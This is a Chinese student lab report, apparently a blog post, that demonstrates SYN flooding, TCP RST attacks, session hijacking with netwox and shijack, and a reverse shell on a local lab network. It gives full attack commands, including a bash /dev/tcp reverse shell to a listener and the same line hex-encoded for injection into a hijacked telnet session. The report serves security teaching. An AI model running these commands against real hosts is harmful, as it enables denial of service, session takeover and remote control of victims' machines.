实验2 TCP攻击

一、实验目的和内容摘要

本实验室的学习目标是让学生对TCP/IP协议的漏洞以及针对这些逅洞的攻击获得第一手的经验。TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏润;它们提供了一个宝贵的教训,告诉我们为什么应该从一开始就设计安全性,而不是在事后才添加。此外,研究这些漏洞有助于学生了解网络安全面临的挑战,以及为什么需要采取许多网络安全措施。

本实验完成一下内容

  1. TCP SYN泛洪攻击
  2. TCP重置攻击
  3. TCP会话劫持攻击
  4. 反弹shell

二、实验环境

(1)网络设置:

3台主机(一个物理机两个虚拟机),虚拟机HA用于攻击,虚拟机NS作为受害者,笔记本物理机用于观察。

采用桥接模式将两台虚拟机和物理机放置于同一真实网段。

两台虚拟机配置:ubuntu-20.04.6-desktop-amd64.iso

一台物理机配置:Windows 11

(2)软件配置:

Netwox工具:我们需要工具来发送不同类型和不同内容的网络数据包。Netwag调用的底层命令。

启用ftptenet和ssh服务器对于本实验,在NS虚拟机(受害者)启动如下服务器(服务器端,不是客户端)如下有依次的安装链接。

Ubuntu上开启FTP服务教程_ubuntu 开启ftp-CSDN博客

https://zhuanlan.zhihu.com/p/675093035

https://zhuanlan.zhihu.com/p/201089342

注意:在进行tenet和ssh登录时一定要知道自己用户的名称,可能与ubuntu平常显示不符,ubuntu系统没有root名称用户。使用whoami命令查看。

shijack工具:专门针对TCP劫持的工具。

安装命令:

wget https://dl.packetstormsecurity.net/sniffers/shijack.tgz

tar -zxvf shijack.tgz

三、实验过程和观察

3.1 TCP SYN泛洪攻击

SYN泛洪是DoS攻击的一种形式,攻击者向受害者的TCP端口发送许多SYN请求,但攻击者无意完成3次握手过程。攻击者要么使用欺骗性的 IP 地址,要么不继续该过程。通过这种攻击,攻击者可以淹没受害者用于半打开连接的队列,即已完成SYN、SYN-ACK,但尚未收到最终ACK的连接。当该队列已满时,受害者无法再进行任何连接。

我们使用命令netstat -na来检查队列的使用情况,即与侦听端口相关联的半开连接数。这种连接的状态是SYN-RECV。如果3次握手结束,则连接状态为ESTABLISHED。

使用netstat -na命令,在被攻击之前存在的连接是正常的:

一般情况下系统会对泛洪攻击采取了对应措施——SYN cookieSYN。它是一种针对SYN flood攻击的防御机制。如果机器检测到它受到SYN泛洪攻击,该机制将启动。可以使用sysctl命令打开/关团SYN cookie机制:

使用sysctl -a | grep cookie命令查看机制状态:(使用sysctl -w net.ipv4.tcp_syncookies=0命令关闭。)

观察者笔记本连接NS服务器:(ftp 192.168.3.163

攻击者泛洪攻击:(netwox 76 --dst-ip 192.168.3.63 --dst-port 21

NS服务器观察自己的服务,ftp的SYN_RECV半连接越来越多:

笔记本和HA都连接不上ftp服务了:

打开防御机制,SYN_RECV半连接变少了:

3.2 TCP RST攻击

(1)针对telnet和 ssh连接的TCP RST攻击

TCP RST攻击可以使两个攻击对象之间已经建立的TCP连接终止。如本次实验,笔记本虚拟机NS之间已经建立了telnet连接(TCP),攻击者虚拟机HA可以通过欺骗虚拟机NS笔记本的RST报文,破坏笔记本虚拟机NS的telnet连接。为了成功进行这种攻击,攻击者需要正确构造TCP RST报文。

连接虚拟机NS的telnet和ssh:

telnet 192.168.3.233

ssh 192.168.3.233

之后我们在攻击机虚拟机HA用netwox的78号工具(“Reset every TCP packet”)对虚拟机NS被攻击的22端口(ssh服务)和23端口(telnet服务)进行攻击:(中间经历了几次断网,可能ip地址会有变化)

netwox 78 --device "ens33" --filter "host 192.168.3.233 and tcp port 22" --ips "192.168.3.56"

笔记本失去连接。

netwox 78 --device "ens33" --filter "host 192.168.3.233 and tcp port 23" --ips "192.168.3.56"

笔记本失去连接。

(2)针对流媒体应用的TCP RST攻击

在本任务中,我们选择视频流应用程序。对于这个任务,你可以选择一个你熟悉的视频流网站(我们不会在这里命名任何特定的网站)。大多数视频共享网站都与客户端建立TCP连接,实现视频内容的流媒体。攻击者的目标是破坏在受害者和视频流机器之间建立的TCP会话。受害者虚拟机HS在视频流网站中浏览视频内容,并连择其中一个视频进行视频流。

我们打开任意网站:

攻击开始攻击:

3.3 TCP会话劫持攻击

TCP会话劫持攻击的目标是通过向会话中注入恶意内容来劫持两个受害者之间现有的TCP连接(会话)。如果此连接是telnet会话,攻击者可以向此会话注入恶意命令(例如删除重要文件),导致受害者执行恶意命令。

Netwox 40号工具用于欺骗TCP/IP报文。有了正确的参数,所有的TCP攻击都可以通过该工具完成。它允许用户修改报文的IP头、TCP头和TCP数据。它有以下参数:

--ip4-ttl 64:设置IP报文中的生存时间 (TTL)为64,TTL是一个防止数据包在网络中无限循环的机制,每经过一个路由器TTL就会减1。

--ip4-protocol 6:指定了IP报文中的协议字段为6,表示上层协议为TCP。

--ip4-src srcip:指定IP报文的源IP地址为srcip。

--ip4-dst dstip:同理。

--tcp-src 51536:指定TCP报文的源端口号为51536。

--tcp-dst 23:同理。

--tcp-seqnum 6:指定TCP报文的序列号为6。(伪造中重要的)

--tcp-acknum 212:指定TCP报文的确认号为212。(伪造中重要的)

--tcp-ack:设置TCP报文的ACK标志位,表示这是一个确认报文。

--tcp-psh:设置TCP报文的PSH标志位,表示数据应该被立即传送。

--tcp-window 128:设置TCP报文的窗口大小为128字节。

--tcp-data "6c73":指定TCP报文的数据部分为十六进制字符串 "6c73",这可能是报文的有效载荷数据。)

虚拟机HA通过wireshark进行全局域网监听,得到以下信息:

如上图ACK号为6,Next序列号为212,我们根据伪造我们的回应,tcp-seqnum设置为6,tcp-acknum为下一次它想要的ACK序列号即为212。

笔记本telnet远程连接虚拟机NS,在虚拟机HA上输入以下命令进行会话劫持:

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.3.36 --ip4-dst 192.168.3.169 --tcp-src 51536 --tcp-dst 23 --tcp-seqnum 6 --tcp-acknum 212 --tcp-ack --tcp-psh  --tcp-window 128  --tcp-data "6c73"

查看wireshark,伪造成功!

我们为了执行更多命令获得更多信息,可以使用一些专门针对TCP劫持的工具,例如shijack。

sudo ./shijack-lnx ens33 192.168.3.56 51536 192.168.3.169 23

笔记本直接遗失连接了。

3.4 反弹shell

反弹shell就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

我们采用以下反弹语句:

bash -i>&/dev/tcp/192.168.3.250/8888 0>&1

在服务器虚拟机NS运行此命令前,需要在虚拟机HA进行自己的8888端口进行监听:nc -lvnp 8888就可以达到直接控制服务器命令行的效果。但是作为攻击者虚拟机HA无法直接通过访问服务器来在服务器上执行这个命令,所以我们要截取与服务器虚拟机NS相连的笔记本的telnet会话,伪造tcp回应,注入反弹语句,达成我们的目的。

我们打开wireshark进行流量监听:(注意:因为要伪造TCP包,所以要将TCP报文的协议首选项中的计算seqnumber的默认选项勾掉,不让它默认给我们计算。找到一个tcp包右键找到勾选如图:)

本次实验所抓数据包中数据提取为:

Src_port:52410

Seqnum:4069464715

Acknum:1776996238

本次实验的shellnode为:

bash -i>&/dev/tcp/192.168.3.250/8888 0>&1

我们要转换成16进制进行传输,通过如下网址在线转换:

在线字符串转16进制 - 16进制转换成字符串

转换如下:

62617368202d693e262f6465762f7463702f3139322e3136382e332e3235302f3838383820303e2631

0d00是换行的16进制,加入到末尾。

最后的注入命令如下:

sudo netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.3.124 --ip4-dst 192.168.3.249 --tcp-src 52410 --tcp-dst 23 --tcp-seqnum 4069464715 --tcp-acknum 1776996238 --tcp-ack --tcp-psh  --tcp-window 128  --tcp-data "62617368202d693e262f6465762f7463702f3139322e3136382e332e3235302f3838383820303e26310d0"

注入成功!

四、发现与分析

在本次实验中,我们通过一系列攻击模拟了针对TCP/IP协议的安全威胁,并分析了这些攻击的影响。以下是对每种攻击的总结分析:

TCP SYN泛洪攻击:

攻击原理:利用TCP三次握手过程中的半开放状态进行攻击,发送大量SYN请求但未完成握手过程,使得服务器资源耗尽,无法处理新的连接请求。

实验观察:在未开启防御机制时,服务器的半开连接队列迅速被填满,导致正常的连接请求无法被处理。当启用SYN Cookie机制后,服务器能够通过cookie验证来减少半开连接的数量,从而减轻了攻击造成的影响。

TCP RST攻击:

攻击原理:构造并发送带有正确序列号的TCP RST包,以假冒受害主机终止现有的TCP连接。

实验观察:成功执行RST攻击后,已有的TCP连接(如telnet和ssh)被立即中断,证明了TCP会话可以被中间人攻击者劫持并终止。此类攻击对于需要稳定连接的服务尤为破坏性。

TCP会话劫持:

攻击原理:通过监听网络流量,获取TCP会话的关键信息(如序列号和确认号),然后伪造TCP包注入恶意数据或命令。

实验观察:通过使用Netwox工具,我们成功伪装成通信双方之一,并向会话中注入了自定义的数据。这展示了中间人攻击者有潜力控制或篡改两方通信的内容。

反弹shell:

攻击原理:在被控端植入代码使其连接到攻击者的监听端口,建立命令行的控制通道。

实验观察:我们在被控端运行了反弹shell命令,并在攻击者机器上开启了监听端口。通过截取并修改网络中的TCP包,我们成功地从被控端反弹了一个shell到攻击者的机器上,实现了远程控制。

综上所述,通过本次实验,我不仅理解了TCP/IP协议存在的安全漏洞和潜在风险,还学会了如何使用工具和技术来实施和防御这些攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值